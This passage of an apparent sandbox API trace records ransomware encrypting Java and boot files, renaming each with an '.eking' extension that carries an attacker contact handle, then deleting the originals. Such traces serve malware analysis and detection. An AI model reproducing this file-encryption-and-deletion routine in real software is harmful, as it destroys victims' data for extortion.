CloseHandle (hObject=0x308) returned 1 [0295.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20 [0295.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20 [0295.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0295.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0295.572] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0295.573] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0295.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x310 [0295.573] ReadFile (in: hFile=0x308, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020, lpNumberOfBytesRead=0x310fb24*=0x0, lpOverlapped=0x0) returned 0 [0295.573] CloseHandle (hObject=0x308) returned 1 [0295.573] CloseHandle (hObject=0x310) returned 1 [0295.580] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0295.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0295.582] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=1026112) returned 1 [0295.582] CloseHandle (hObject=0x310) returned 1 [0295.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20 [0295.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20 [0295.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0295.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0295.582] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0295.583] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0295.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) Thread: id = 105 os_tid = 0x6a4 [0274.989] GetProcessHeap () returned 0xaf0000 [0274.989] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x35f0048 [0274.990] GetProcessHeap () returned 0xaf0000 [0274.990] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3600050 [0274.991] GetProcessHeap () returned 0xaf0000 [0274.991] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x28) returned 0xbd8540 [0274.991] GetProcessHeap () returned 0xaf0000 [0274.991] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x110102) returned 0x36f1020 [0274.996] GetProcessHeap () returned 0xaf0000 [0274.996] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x50) returned 0xafb620 [0274.996] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0274.996] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 [0274.996] Wow64DisableWow64FsRedirection (in: OldValue=0x324f994 | out: OldValue=0x324f994*=0x0) returned 1 [0274.996] GetProcessHeap () returned 0xaf0000 [0274.996] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafb620 | out: hHeap=0xaf0000) returned 1 [0274.996] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.573] ResetEvent (hEvent=0x2a4) returned 1 [0275.573] SetEvent (hEvent=0x2a8) returned 1 [0275.574] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.574] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.576] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.577] ResetEvent (hEvent=0x2a4) returned 1 [0275.577] SetEvent (hEvent=0x2a8) returned 1 [0275.577] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.590] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=0) returned 1 [0275.590] CloseHandle (hObject=0x29c) returned 1 [0275.590] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.592] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.593] ResetEvent (hEvent=0x2a4) returned 1 [0275.594] SetEvent (hEvent=0x2a8) returned 1 [0275.594] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0275.594] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=77664) returned 1 [0275.594] CloseHandle (hObject=0x2bc) returned 1 [0275.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0275.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0275.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.595] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.595] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.599] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.600] ResetEvent (hEvent=0x2a4) returned 1 [0275.600] SetEvent (hEvent=0x2a8) returned 1 [0275.600] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.600] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=65536) returned 1 [0275.600] CloseHandle (hObject=0x29c) returned 1 [0275.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0275.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0275.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\bootstat.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.601] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.601] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0275.601] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0275.601] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\bootstat.dat.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x2bc [0275.604] ReadFile (in: hFile=0x29c, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x10000, lpOverlapped=0x0) returned 1 [0275.621] WriteFile (in: hFile=0x2bc, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x10010, lpOverlapped=0x0) returned 1 [0275.624] WriteFile (in: hFile=0x2bc, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xf2, lpOverlapped=0x0) returned 1 [0275.624] CloseHandle (hObject=0x29c) returned 1 [0275.624] CloseHandle (hObject=0x2bc) returned 1 [0275.625] DeleteFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0275.627] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.630] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.631] ResetEvent (hEvent=0x2a4) returned 1 [0275.631] SetEvent (hEvent=0x2a8) returned 1 [0275.631] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.631] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=76632) returned 1 [0275.631] CloseHandle (hObject=0x29c) returned 1 [0275.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0275.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0275.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.632] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.632] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.634] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.636] ResetEvent (hEvent=0x2a4) returned 1 [0275.636] SetEvent (hEvent=0x2a8) returned 1 [0275.636] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.636] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=75616) returned 1 [0275.636] CloseHandle (hObject=0x29c) returned 1 [0275.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0275.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0275.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.637] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.862] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0275.864] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=177414) returned 1 [0275.864] CloseHandle (hObject=0x2d8) returned 1 [0275.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0275.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0275.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.045] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.045] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.045] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=12192) returned 1 [0276.045] CloseHandle (hObject=0x2bc) returned 1 [0276.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui")) returned 0x20 [0276.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui")) returned 0x20 [0276.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.045] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.046] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.046] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=76128) returned 1 [0276.046] CloseHandle (hObject=0x2bc) returned 1 [0276.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20 [0276.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20 [0276.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.046] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.046] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.047] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=77152) returned 1 [0276.047] CloseHandle (hObject=0x2bc) returned 1 [0276.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0276.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0276.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.047] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.047] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.047] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=44960) returned 1 [0276.048] CloseHandle (hObject=0x2bc) returned 1 [0276.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20 [0276.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20 [0276.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.048] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.048] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.048] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=77144) returned 1 [0276.048] CloseHandle (hObject=0x2bc) returned 1 [0276.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20 [0276.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20 [0276.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.049] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.049] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.049] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=76640) returned 1 [0276.049] CloseHandle (hObject=0x2bc) returned 1 [0276.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20 [0276.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20 [0276.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.050] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.050] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0276.050] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=77152) returned 1 [0276.050] CloseHandle (hObject=0x2bc) returned 1 [0276.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui")) returned 0x20 [0276.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: 